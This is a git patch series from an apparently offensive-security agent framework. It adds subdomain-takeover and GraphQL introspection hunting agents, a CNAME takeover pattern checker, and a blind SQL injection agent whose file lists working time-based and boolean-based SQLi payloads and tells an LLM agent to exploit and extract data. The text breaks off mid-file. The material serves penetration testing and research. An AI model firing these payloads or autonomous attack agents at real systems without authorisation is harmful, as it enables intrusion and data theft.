vulnerability.""" + """Analyze a BBOT event for subdomain takeover vulnerability.""" takeover_agent = create_takeover_agent() - subdomain = event_data.get('data', '') - host = event_data.get('host', subdomain) - dns_children = event_data.get('dns_children', {}) - cname_records = dns_children.get('CNAME', []) + event_type = event_data.get('type') + host = event_data.get('host', '') - console.print(f"[*] Analyzing DNS event for subdomain takeover on {host}") - console.print(f" Subdomain: {subdomain}") - if cname_records: + if event_type == 'DNS_NAME': + subdomain = event_data.get('data', '') + dns_children = event_data.get('dns_children', {}) + cname_records = dns_children.get('CNAME', []) + + console.print(f"[*] Analyzing DNS_NAME event for subdomain takeover on {host}") + console.print(f" Subdomain: {subdomain}") console.print(f" CNAME targets: {', '.join(cname_records)}") + + prompt = ( + f"Analyze the subdomain '{subdomain}' for subdomain takeover vulnerability. " + f"The subdomain has CNAME records pointing to: {', '.join(cname_records)}. " + f"Use the tools available to you to test if this subdomain can be taken over." + ) + + elif event_type == 'VULNERABILITY': + subdomain = host + description = event_data.get('data', {}).get('description', '') + severity = event_data.get('data', {}).get('severity', '') + + console.print(f"[*] Analyzing VULNERABILITY event for subdomain takeover on {host}") + console.print(f" Subdomain: {subdomain}") + console.print(f" Severity: {severity}") + console.print(f" Description: {description[:100]}...") + + # Extract NS records from description if available + ns_records = [] + if 'trigger:' in description.lower(): + trigger_part = description.split('Trigger: [')[1].split(']')[0] if 'Trigger: [' in description else '' + if trigger_part: + ns_records = [ns.strip() for ns in trigger_part.split(',')] + + prompt = ( + f"Analyze the subdomain '{subdomain}' for NS record takeover vulnerability. " + f"BBOT detected: {description}. " + f"This indicates dangling NS records without SOA records. " + f"NS records found: {', '.join(ns_records)}. " + f"Use DNS tools to verify if NS records exist but no SOA record is present, " + f"which could indicate a zone takeover opportunity." + ) + else: + raise ValueError(f"Unsupported event type: {event_type}") - result = await takeover_agent.run( - f"Analyze the subdomain '{subdomain}' for subdomain takeover vulnerability. " - f"The subdomain has CNAME records pointing to: {', '.join(cname_records)}. " - f"Use the tools available to you to test if this subdomain can be taken over." - ) + result = await takeover_agent.run(prompt) tool_outputs = {} tools_used = [] @@ -242,10 +287,11 @@ async def analyze_dns_event(event_data: dict) -> dict: dn.log_metric("stored_in_db", 1 if finding_stored else 0) dn.log_output("raw_tool_data", tool_outputs) + # Build analysis result based on event type analysis_result = { + "event_type": event_type, "subdomain": subdomain, "host": host, - "cname_targets": cname_records, "tools_used": tools_used, "tool_outputs": tool_outputs, "analysis": result.messages[-1].content if result.messages else None, @@ -254,6 +300,14 @@ async def analyze_dns_event(event_data: dict) -> dict: "stored_in_db": finding_stored, "original_event": event_data } + + # Add event-specific fields + if event_type == 'DNS_NAME': + analysis_result["cname_targets"] = cname_records + elif event_type == 'VULNERABILITY': + analysis_result["vulnerability_description"] = description + analysis_result["severity"] = severity + analysis_result["ns_records"] = ns_records return analysis_result @@ -547,7 +601,10 @@ async def analyze_dns_events_file(dns_events_file: Path, debug: bool = False) -> if debug: console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") - console.print(f"CNAME targets: {', '.join(analysis_result['cname_targets'])}") + if analysis_result['event_type'] == 'DNS_NAME': + console.print(f"CNAME targets: {', '.join(analysis_result['cname_targets'])}") + elif analysis_result['event_type'] == 'VULNERABILITY': + console.print(f"Vulnerability: {analysis_result['vulnerability_description'][:100]}...") console.print(f"Analysis: {analysis_result['analysis'][:200]}...") if analysis_result["has_takeover"]: From 5ad7aafb03f222288aece5cc6d0dce3905f5b388 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 5 Sep 2025 08:20:23 -0400 Subject: [PATCH 55/60] feat: graphql node storage and agent api discovery --- dreadnode/agent/tools/neo4j/tool.py | 234 +++++++++++++++++ examples/agents/graphql_hunter/agent.py | 323 ++++++++++++++++++++++++ 2 files changed, 557 insertions(+) create mode 100644 examples/agents/graphql_hunter/agent.py diff --git a/dreadnode/agent/tools/neo4j/tool.py b/dreadnode/agent/tools/neo4j/tool.py index 1a967a8e..3c688a9f 100644 --- a/dreadnode/agent/tools/neo4j/tool.py +++ b/dreadnode/agent/tools/neo4j/tool.py @@ -295,6 +295,240 @@ async def store_host_header_finding( logger.error(f"Failed to store host header injection finding: {e}") return f"Failed to store host header injection finding: {e}" + @tool_method() + async def store_graphql_endpoint( + self, + url: str, + schema_info: str, + types_data: str = "", + queries_data: str = "", + mutations_data: str = "", + subscriptions_data: str = "", + ) -> str: + """Store GraphQL endpoint with schema information as nodes and relationships. + + Args: + url: GraphQL endpoint URL + schema_info: Raw schema introspection data + types_data: JSON string of GraphQL types + queries_data: JSON string of available queries + mutations_data: JSON string of available mutations + subscriptions_data: JSON string of available subscriptions + + Returns: + Confirmation message with endpoint ID + """ + driver = await self._get_driver() + + try: + # Create GraphQL endpoint node + endpoint_query = """ + MERGE (e:GraphQLEndpoint {url: $url}) + SET e.timestamp = $timestamp, + e.schema_info = $schema_info, + e.endpoint_id = coalesce(e.endpoint_id, randomUUID()) + RETURN e.endpoint_id as endpoint_id + """ + + endpoint_params = { + "url": url, + "timestamp": datetime.now().isoformat(), + "schema_info": schema_info, + } + + async with driver.session() as session: + result = await session.run(endpoint_query, endpoint_params) + endpoint_record = await result.single() + endpoint_id = endpoint_record['endpoint_id'] if endpoint_record else None + + # Parse and store types if provided + if types_data: + import json + try: + types = json.loads(types_data) + for type_info in types: + type_name = type_info.get('name', 'Unknown') + type_query = """ + MATCH (e:GraphQLEndpoint {endpoint_id: $endpoint_id}) + MERGE (t:GraphQLType {name: $type_name, endpoint_url: $url}) + SET t.kind = $kind, + t.description = $description, + t.type_id = coalesce(t.type_id, randomUUID()) + MERGE (e)-[:HAS_TYPE]->(t) + RETURN t.type_id as type_id + """ + + type_params = { + "endpoint_id": endpoint_id, + "url": url, + "type_name": type_name, + "kind": type_info.get('kind', ''), + "description": type_info.get('description', ''), + } + + await session.run(type_query, type_params) + + # Store fields for this type + fields = type_info.get('fields', []) + for field in fields: + field_name = field.get('name', 'Unknown') + field_query = """ + MATCH (t:GraphQLType {name: $type_name, endpoint_url: $url}) + MERGE (f:GraphQLField {name: $field_name, type_name: $type_name, endpoint_url: $url}) + SET f.field_type = $field_type, + f.description = $field_description, + f.is_deprecated = $is_deprecated, + f.field_id = coalesce(f.field_id, randomUUID()) + MERGE (t)-[:HAS_FIELD]->(f) + """ + + field_params = { + "url": url, + "type_name": type_name, + "field_name": field_name, + "field_type": str(field.get('type', {})), + "field_description": field.get('description', ''), + "is_deprecated": field.get('isDeprecated', False), + } + + await session.run(field_query, field_params) + except json.JSONDecodeError: + pass + + # Store queries if provided + if queries_data: + try: + queries = json.loads(queries_data) + for query in queries: + query_name = query.get('name', 'Unknown') + query_query = """ + MATCH (e:GraphQLEndpoint {endpoint_id: $endpoint_id}) + MERGE (q:GraphQLQuery {name: $query_name, endpoint_url: $url}) + SET q.description = $description, + q.return_type = $return_type, + q.args = $args, + q.query_id = coalesce(q.query_id, randomUUID()) + MERGE (e)-[:HAS_QUERY]->(q) + """ + + query_params = { + "endpoint_id": endpoint_id, + "url": url, + "query_name": query_name, + "description": query.get('description', ''), + "return_type": str(query.get('type', {})), + "args": str(query.get('args', [])), + } + + await session.run(query_query, query_params) + except json.JSONDecodeError: + pass + + # Store mutations if provided + if mutations_data: + try: + mutations = json.loads(mutations_data) + for mutation in mutations: + mutation_name = mutation.get('name', 'Unknown') + mutation_query = """ + MATCH (e:GraphQLEndpoint {endpoint_id: $endpoint_id}) + MERGE (m:GraphQLMutation {name: $mutation_name, endpoint_url: $url}) + SET m.description = $description, + m.return_type = $return_type, + m.args = $args, + m.mutation_id = coalesce(m.mutation_id, randomUUID()) + MERGE (e)-[:HAS_MUTATION]->(m) + """ + + mutation_params = { + "endpoint_id": endpoint_id, + "url": url, + "mutation_name": mutation_name, + "description": mutation.get('description', ''), + "return_type": str(mutation.get('type', {})), + "args": str(mutation.get('args', [])), + } + + await session.run(mutation_query, mutation_params) + except json.JSONDecodeError: + pass + + logger.info(f"Stored GraphQL endpoint and schema for {url}") + return f"Successfully stored GraphQL endpoint: {endpoint_id}" + + except Exception as e: + logger.error(f"Failed to store GraphQL endpoint: {e}") + return f"Failed to store GraphQL endpoint: {e}" + + @tool_method() + async def store_graphql_finding( + self, + url: str, + vulnerability_type: str, + risk_level: str, + schema_info: str, + response_evidence: str, + exposed_types: str = "", + sensitive_fields: str = "", + impact: str = "", + ) -> str: + """Store a GraphQL introspection vulnerability finding in Neo4j. + + Args: + url: Target GraphQL endpoint URL + vulnerability_type: Type of GraphQL vulnerability (e.g., "introspection_enabled", "schema_exposure") + risk_level: Risk level (low/medium/high/critical) + schema_info: Exposed schema information + response_evidence: Raw response showing introspection data + exposed_types: List of exposed GraphQL types + sensitive_fields: Potentially sensitive field names + impact: Potential impact description + + Returns: + Confirmation message with finding ID + """ + driver = await self._get_driver() + + try: + query = """ + CREATE (f:GraphQLVulnerability { + url: $url, + vulnerability_type: $vulnerability_type, + risk_level: $risk_level, + timestamp: $timestamp, + schema_info: $schema_info, + response_evidence: $response_evidence, + exposed_types: $exposed_types, + sensitive_fields: $sensitive_fields, + impact: $impact, + finding_id: randomUUID() + }) + RETURN f.finding_id as finding_id + """ + + params = { + "url": url, + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "schema_info": schema_info, + "response_evidence": response_evidence, + "exposed_types": exposed_types, + "sensitive_fields": sensitive_fields, + "impact": impact, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored GraphQL finding for {url}") + return f"Successfully stored GraphQL finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store GraphQL finding: {e}") + return f"Failed to store GraphQL finding: {e}" + @tool_method() async def query_findings( self, diff --git a/examples/agents/graphql_hunter/agent.py b/examples/agents/graphql_hunter/agent.py new file mode 100644 index 00000000..31cf2a35 --- /dev/null +++ b/examples/agents/graphql_hunter/agent.py @@ -0,0 +1,323 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(server=None, token=None, project="graphql-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze GraphQL Finding", label="analyze_graphql_finding") +async def analyze_graphql_finding(finding_data: dict) -> dict: + """Analyze a BBOT GraphQL introspection finding for exploitability.""" + graphql_agent = create_graphql_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + console.print(f"[*] Analyzing GraphQL introspection finding on {host}") + console.print(f" URL: {url}") + console.print(f" Description: {description}") + + result = await graphql_agent.run( + f"Analyze the GraphQL introspection vulnerability at {url}. " + f"Test the GraphQL endpoint for introspection capabilities and enumerate the schema. " + f"Use the tools available to you to test systematically using your expertise." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_graphql_finding" in tools_used + endpoint_stored = "store_graphql_endpoint" in tools_used + has_graphql_introspection = finding_stored or endpoint_stored + if result.messages and result.messages[-1].content: + has_graphql_introspection = has_graphql_introspection or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "introspection enabled", + "graphql schema exposed", + "introspection query successful", + "schema introspection available", + "graphql introspection confirmed", + "schema enumeration successful", + "types and fields exposed", + "graphql vulnerability confirmed", + "introspection not disabled" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_graphql_introspection", 1 if has_graphql_introspection else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_metric("endpoint_stored", 1 if endpoint_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + analysis_result = { + "url": url, + "host": host, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_graphql_introspection": has_graphql_introspection, + "stored_in_db": finding_stored, + "endpoint_stored": endpoint_stored, + "original_finding": finding_data + } + + return analysis_result + + +def create_graphql_agent() -> Agent: + """Create a GraphQL introspection vulnerability analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool(), OastTool()] + + return Agent( + name="graphql-hunter-agent", + description="An agent that analyzes and exploits GraphQL introspection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting GraphQL introspection vulnerabilities. + +Use the tools available to you to test for GraphQL introspection by sending introspection queries to the GraphQL endpoint. + +Analyze responses for indicators of GraphQL introspection such as: +- Successful introspection queries revealing schema information +- Type definitions and field information exposed +- Query and mutation structures revealed +- Sensitive field names or types that could indicate data exposure risks + +Be thorough and systematic in your testing approach. Use your expertise to craft appropriate introspection queries and analyze the responses. + +If you successfully retrieve GraphQL schema information: +1. Use store_graphql_endpoint to record the endpoint with detailed schema data including types, queries, mutations and their relationships +2. If this represents a security vulnerability (introspection enabled in production), also use store_graphql_finding to record the vulnerability finding + +Focus on extracting and storing comprehensive schema information for analysis.""", + ) + + +def is_graphql_finding(event: dict) -> bool: + """Check if a BBOT event is a GraphQL introspection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'GraphQL' in description or 'introspection' in description.lower() + + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for GraphQL introspection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + with dn.run("graphql-hunt-from-bbot"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting GraphQL introspection hunt on {len(targets)} targets using BBOT scan...") + + graphql_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "graphql_introspection"] + + for target in targets: + try: + console.print(f"[*] Scanning {target} for GraphQL introspection...") + + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_graphql_finding(event): + total_findings += 1 + console.print(f"Found GraphQL introspection candidate on {event.get('host')}") + + try: + analysis_result = await analyze_graphql_finding(event) + + if analysis_result["has_graphql_introspection"]: + graphql_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "finding_type": "graphql_introspection", + "risk_level": "medium", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"graphql_finding_{analysis_result['host']}", security_finding) + console.print(f"GRAPHQL INTROSPECTION CONFIRMED on {analysis_result['host']}") + else: + console.print(f"GraphQL introspection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing GraphQL introspection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("graphql_confirmed", graphql_findings_count) + + console.print(f"\nHunt Summary:") + console.print(f" GraphQL introspection candidates found: {total_findings}") + console.print(f" GraphQL introspection vulnerabilities confirmed: {graphql_findings_count}") + + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze GraphQL introspection findings from a JSON file (for testing).""" + + with dn.run("graphql-analyze-findings"): + console.print(f"Analyzing findings from {finding_file}") + + try: + with open(finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + graphql_count = 0 + for finding in findings: + if is_graphql_finding(finding): + console.print(f"[*] Analyzing GraphQL introspection finding...") + analysis_result = await analyze_graphql_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_graphql_introspection"]: + graphql_count += 1 + console.print(f"GRAPHQL INTROSPECTION CONFIRMED!") + else: + console.print(f"No GraphQL introspection exploitation possible") + + dn.log_metric("graphql_findings", graphql_count) + console.print(f"\nAnalysis Summary:") + console.print(f" GraphQL introspection vulnerabilities confirmed: {graphql_count}") + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="GraphQL introspection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for GraphQL introspection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use (default: httpx,graphql_introspection)") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze GraphQL introspection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file From dc232bae0e77699e9fbe509bce05e0d55b854b5b Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 5 Sep 2025 13:46:53 -0400 Subject: [PATCH 56/60] chore: add takeoverxyz verdict verification --- dreadnode/agent/tools/kali/tool.py | 58 ++++++++++++++++++++++++++++++ 1 file changed, 58 insertions(+) diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index f5c2b41f..839ae371 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -6,6 +6,7 @@ import requests from loguru import logger +import dreadnode as dn from dreadnode.agent.tools import Toolset, tool_method @@ -1216,6 +1217,63 @@ def python_requests(self, code: str) -> str: sys.stdout = old_stdout return f"Error executing code: {e}" + @tool_method() + def canitakeover(self, cname_target: str) -> str: + """Check CNAME target for subdomain takeover vulnerability patterns. Use this tool whenever you find a CNAME record pointing to external services. + + Args: + cname_target: CNAME target to check (e.g., 'example.herokuapp.com') + + Returns: + Service and vulnerability status + """ + patterns = { + 'github.io': 'GitHub Pages - VULNERABLE', + 'herokuapp.com': 'Heroku - VULNERABLE', + 'wordpress.com': 'WordPress.com - VULNERABLE', + 'netlify.app': 'Netlify - VULNERABLE', + 'vercel.app': 'Vercel - VULNERABLE', + 's3.amazonaws.com': 'Amazon S3 - VULNERABLE', + 'azurewebsites.net': 'Azure Web Apps - VULNERABLE', + 'surge.sh': 'Surge.sh - VULNERABLE', + 'bitbucket.io': 'Bitbucket Pages - VULNERABLE', + 'webflow.io': 'Webflow - VULNERABLE', + 'ghost.io': 'Ghost.io - VULNERABLE', + 'helpjuice.com': 'Helpjuice - VULNERABLE', + 'helpscout.net': 'Help Scout - VULNERABLE', + 'cargo.site': 'Cargo Collective - VULNERABLE', + 'feedpress.me': 'FeedPress - VULNERABLE', + 'uptimerobot.com': 'UptimeRobot - VULNERABLE', + 'pantheonsite.io': 'Pantheon - VULNERABLE', + 'elasticbeanstalk.com': 'AWS Elastic Beanstalk - VULNERABLE', + 'agilecrm.com': 'Agile CRM - VULNERABLE', + 'airee.ru': 'Airee.ru - VULNERABLE', + 'animaapp.io': 'Anima - VULNERABLE', + 'trydiscourse.com': 'Discourse - VULNERABLE', + 'furyns.com': 'Gemfury - VULNERABLE', + 'hatenablog.com': 'HatenaBlog - VULNERABLE', + 'helpscoutdocs.com': 'Help Scout Docs - VULNERABLE', + 'helprace.com': 'Helprace - VULNERABLE', + 'youtrack.cloud': 'JetBrains - VULNERABLE', + 'launchrock.com': 'LaunchRock - VULNERABLE', + 'ngrok.io': 'Ngrok - VULNERABLE', + 'readme.io': 'Readme.io - VULNERABLE', + 'strikinglydns.com': 'Strikingly - VULNERABLE', + 'surveysparrow.com': 'SurveySparrow - VULNERABLE', + 'read.uberflip.com': 'Uberflip - VULNERABLE', + 'worksites.net': 'Worksites - VULNERABLE' + } + + for pattern, service in patterns.items(): + if pattern in cname_target.lower(): + logger.info(f"[+] Subdomain takeover potential found: {cname_target} -> {service}") + dn.log_metric("subdomain-takeover-vulnerable", 1) + return service + + logger.info(f"[-] No known vulnerable pattern found for: {cname_target}") + dn.log_metric("subdomain-takeover-not-vulnerable", 1) + return f"Unknown service - Check https://github.com/EdOverflow/can-i-take-over-xyz" + @tool_method() def generate_golden_ticket( self, From cc78c8dc6aa1a52a421629646bbec20aa5dfb55e Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 5 Sep 2025 14:07:56 -0400 Subject: [PATCH 57/60] chore: fork multi-agent --- examples/agents/blind_sqli/agent.py | 294 +++++++++++++++++++ examples/agents/error_based_sqli/agent.py | 299 +++++++++++++++++++ examples/agents/union_based_sqli/agent.py | 336 ++++++++++++++++++++++ 3 files changed, 929 insertions(+) create mode 100644 examples/agents/blind_sqli/agent.py create mode 100644 examples/agents/error_based_sqli/agent.py create mode 100644 examples/agents/union_based_sqli/agent.py diff --git a/examples/agents/blind_sqli/agent.py b/examples/agents/blind_sqli/agent.py new file mode 100644 index 00000000..69f0209b --- /dev/null +++ b/examples/agents/blind_sqli/agent.py @@ -0,0 +1,294 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +dn.configure(server=None, token=None, project="blind-sqli-agent", console=False) + +console = Console() + +# Blind SQLi focused payloads +TIME_BASED_PAYLOADS = [ + # MySQL time-based + "' AND SLEEP(5)--", + "' AND (SELECT SLEEP(5))--", + "' AND IF(1=1,SLEEP(5),0)--", + "' OR SLEEP(5)--", + "'; WAITFOR DELAY '00:00:05'--", + + # PostgreSQL time-based + "'; SELECT pg_sleep(5)--", + "' AND 1=(SELECT pg_sleep(5))--", + "' OR pg_sleep(5) IS NULL--", + + # MSSQL time-based + "'; WAITFOR DELAY '0:0:5'--", + "' AND 1=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7,sysusers AS sys8)--", + + # Oracle time-based + "' AND DBMS_LOCK.SLEEP(5) IS NULL--", + "' AND 1=(SELECT COUNT(*) FROM all_users t1,all_users t2,all_users t3,all_users t4,all_users t5)--", + + # Generic heavy queries + "' AND (SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)>0--", +] + +BOOLEAN_BASED_PAYLOADS = [ + # Basic boolean tests + "' AND 1=1--", + "' AND 1=2--", + "' OR 1=1--", + "' OR 1=2--", + + # Substring/length tests for data extraction + "' AND LENGTH(DATABASE())>0--", + "' AND LENGTH(DATABASE())=8--", + "' AND SUBSTRING(DATABASE(),1,1)='a'--", + "' AND ASCII(SUBSTRING(DATABASE(),1,1))>97--", + + # Version detection + "' AND @@version LIKE '%MySQL%'--", + "' AND version() LIKE '%PostgreSQL%'--", + "' AND @@version LIKE '%Microsoft%'--", + + # Table existence tests + "' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')>0--", + "' AND EXISTS(SELECT * FROM information_schema.tables WHERE table_name='admin')--", +] + +@dn.task(name="Blind SQLi Analysis", label="analyze_blind_sqli") +async def analyze_blind_sqli(finding_data: dict) -> dict: + """Analyze a finding specifically for blind SQL injection.""" + agent = create_blind_sqli_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + param_name = extract_param_name(description) + original_value = extract_original_value(description) + + console.print(f"[*] Testing BLIND SQL injection on {host}") + console.print(f" URL: {url}") + console.print(f" Parameter: {param_name}") + + # Build focused prompt with blind-specific context + prompt = f"""Target: {url} +Parameter: {param_name} +Original Value: {original_value} + +MISSION: Test this parameter specifically for BLIND SQL injection vulnerabilities. + +BLIND SQLI METHODOLOGY: +1. TIME-BASED DETECTION: + - Test SLEEP/WAITFOR DELAY payloads + - Measure response times carefully + - Confirm delays are consistent with payload timing + - Rule out network latency issues + +2. BOOLEAN-BASED DETECTION: + - Test true/false conditions (1=1 vs 1=2) + - Compare response lengths, status codes, content + - Look for subtle differences in responses + - Identify application behavior patterns + +3. DATA EXTRACTION (if blind SQLi confirmed): + - Use substring/length functions for enumeration + - Extract database name, version, tables + - Character-by-character data extraction + - Binary search optimization for efficiency + +Focus ONLY on blind techniques. No error messages expected - rely on timing and response analysis. + +Test payloads systematically and document timing/response differences precisely.""" + + result = await agent.run(prompt) + + # Process results with blind-specific logic + has_time_based = analyze_timing_responses(result) + has_boolean_based = analyze_boolean_responses(result) + has_blind_sqli = has_time_based or has_boolean_based + + technique = [] + if has_time_based: + technique.append("time-based") + if has_boolean_based: + technique.append("boolean-based") + + dn.log_metric("blind_sqli_found", 1 if has_blind_sqli else 0) + dn.log_metric("time_based_sqli", 1 if has_time_based else 0) + dn.log_metric("boolean_based_sqli", 1 if has_boolean_based else 0) + + return { + "url": url, + "host": host, + "parameter": param_name, + "vulnerability_type": "blind_sqli", + "has_sqli": has_blind_sqli, + "techniques": technique, + "analysis": result.messages[-1].content if result.messages else None, + "detection_method": "timing_and_response_analysis" + } + +def analyze_timing_responses(result: AgentResult) -> bool: + """Analyze agent responses for time-based blind SQLi indicators.""" + if not result.messages: + return False + + content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() + + # Check for time-based SQLi success indicators + timing_indicators = [ + 'sleep delay detected', + 'response time increased', + 'timing difference', + 'delay confirmed', + 'waitfor delay success', + 'pg_sleep detected', + 'dbms_lock.sleep', + 'consistent delay', + 'timing attack successful', + 'time-based injection', + 'response delayed by', + 'sleep function executed' + ] + + return any(indicator in content for indicator in timing_indicators) + +def analyze_boolean_responses(result: AgentResult) -> bool: + """Analyze agent responses for boolean-based blind SQLi indicators.""" + if not result.messages: + return False + + content = ' '.join([msg.content for msg in result.messages if msg.content]).lower() + + # Check for boolean-based SQLi success indicators + boolean_indicators = [ + 'true condition response', + 'false condition response', + 'response length difference', + 'content difference detected', + 'boolean injection confirmed', + 'conditional response', + 'true/false comparison', + 'response pattern difference', + 'boolean-based injection', + 'condition evaluation', + 'differential response', + 'logical condition test' + ] + + return any(indicator in content for indicator in boolean_indicators) + +def create_blind_sqli_agent() -> Agent: + """Create a blind SQL injection specialist agent.""" + tools = [KaliTool(), BBotTool(), Neo4jTool()] + + blind_sqli_context = """ +BLIND SQL INJECTION SPECIALIST + +You are an expert focused EXCLUSIVELY on blind SQL injection techniques. + +Your mission is to detect and exploit SQL injection through timing and response analysis - no error messages expected. + +Start with reconnaissance and build your approach based on what you observe: + +1. BASELINE ESTABLISHMENT: Make several normal requests to understand typical response times and patterns +2. TIME-BASED DETECTION: Test if you can control execution timing through SQL delays +3. BOOLEAN-BASED DETECTION: Test if you can influence application responses through true/false conditions +4. PROGRESSIVE EXTRACTION: Once you confirm blind SQLi, extract data character-by-character + +Adapt your techniques based on the application's behavior. Some applications respond to timing attacks, others to content-length differences, others to subtle page changes. + +The key is methodical testing and careful response analysis. Let the application tell you what works. + +Use the http_request tool systematically. Document timing patterns and response variations precisely. +""" + + return Agent( + name="blind-sqli-agent", + description="Specialized agent for blind SQL injection detection and exploitation", + model="gpt-4-turbo", + tools=tools, + instructions=blind_sqli_context, + ) + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") + return description[start:end] if end > start else "" + return "" + +async def main(): + parser = argparse.ArgumentParser(description="Blind SQL injection specialist") + parser.add_argument("finding_file", type=Path, help="JSON 